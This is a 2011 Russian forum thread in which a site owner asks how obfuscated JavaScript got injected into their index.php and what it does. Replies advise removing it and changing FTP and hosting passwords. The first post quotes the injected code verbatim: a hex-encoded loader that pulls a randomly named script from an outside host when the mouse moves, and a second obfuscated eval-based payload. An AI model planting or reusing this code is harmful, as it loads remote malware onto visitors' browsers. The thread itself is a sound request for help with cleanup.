VPF::На сайте к файлу index.php приписали ява скрипт.

vpokorp

Дата 16.6.2011, 23:53 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 113
Регистрация: 5.4.2006

Репутация: нет
Всего: нет

Код


<script type="text/javascript">
var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
</script<html><body><script>var el,ar,ar2,pos,yes=false;setInterval(function(){if(yes){try{try{a1=a2}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="0(: ]tn Ee{oa>rs\"T,[=NyghvuwC-'zA<cp);1.B/bm}flid";ar2="R12c12c188c180c28c4c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c144c40c12c12c12c188c180c56c48c172c36c56c4c144c148c12c12c176c28c36c184c60c36c28c40c12c12c12c192c44c136c104c172c36c24c20c156c108c56c188c20c36c4c64c132c188c180c56c48c172c36c28c60c56c136c80c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c28c108c188c192c20c96c80c120c152c0c120c28c96c36c188c92c96c20c80c120c152c0c120c28c60c20c88c184c36c80c120c100c188c60c188c168c188c184c188c20c88c8c96c188c192c192c36c24c148c140c44c60c188c20c188c44c24c8c48c168c60c44c184c104c20c36c148c184c36c180c20c8c0c148c20c44c140c8c0c148c120c52c132c164c188c180c56c48c172c36c52c64c144c148c12c12c176c12c12c180c104c24c136c20c188c44c24c28c188c180c56c48c172c36c56c4c144c40c12c12c12c100c48c56c28c180c28c80c28c192c44c136c104c172c36c24c20c156c136c56c36c48c20c36c32c184c36c172c36c24c20c4c120c188c180c56c48c172c36c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c60c56c136c120c72c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c144c148c180c156c60c20c88c184c36c156c100c188c60c188c168c188c184c188c20c88c80c120c96c188c192c192c36c24c120c148c180c156c60c20c88c184c36c156c140c44c60c188c20c188c44c24c80c120c48c168c60c44c184c104c20c36c120c148c180c156c60c20c88c184c36c156c184c36c180c20c80c120c0c120c148c180c156c60c20c88c184c36c156c20c44c140c80c120c0c120c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c108c188c192c20c96c120c72c120c152c0c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c96c36c188c92c96c20c120c72c120c152c0c120c144c148c12c12c12c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c156c48c140c140c36c24c192c112c96c188c184c192c4c180c144c148c12c12c176]".replace(k.substr(0,1),'[');pau="urn eReferenceErr".replace(k,"val");e=Function("ret"+pau)();ar2=e(ar2.replace(/c/g,","));s="";pos=0;for(i=0;i!=ar2.length;i++){e('pos=parseInt(ar2[i] / 4)');e('s+=ar.substr(pos,1)');}
e(s);yes=false;}},20);setTimeout(function(){el=document.createElement("div");el.innerHTML="ReferenceErr";yes=true;},1);</script></body></html>>

1. Как он мог туда попасть?
2. Что сделать, чтобы этого в дальнейшем не происходило?
3. Что он делает?

ayax2005

Дата 17.6.2011, 08:15 (ссылка)

(нет голосов)

Загрузка ...

echo $smile

Профиль
Группа: Участник
Сообщений: 516
Регистрация: 17.4.2008
Где: Питер

Репутация: 2
Всего: 11

Инфобокс?))
удаляйте нафиг и меняйте пароли фтп и панели хостинга.

--------------------

все вопросы - из-за неверной формулировки задачи

vpokorp

Дата 17.6.2011, 13:37 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 113
Регистрация: 5.4.2006

Репутация: нет
Всего: нет

думаю что изменены они были не через доступ к фтп или панели, т.к. модификации подверглись только видимые снаружи файлы, все служебные остались без изменений

Vovan222

Дата 17.6.2011, 15:35 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 87
Регистрация: 9.9.2010

Репутация: нет
Всего: нет

ayax2005, У меня тоже Инфобокс. А зачем о это делает, шпионит?
Может сменить его пока не поздно?

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| JavaScript: для новичков \| Следующая тема »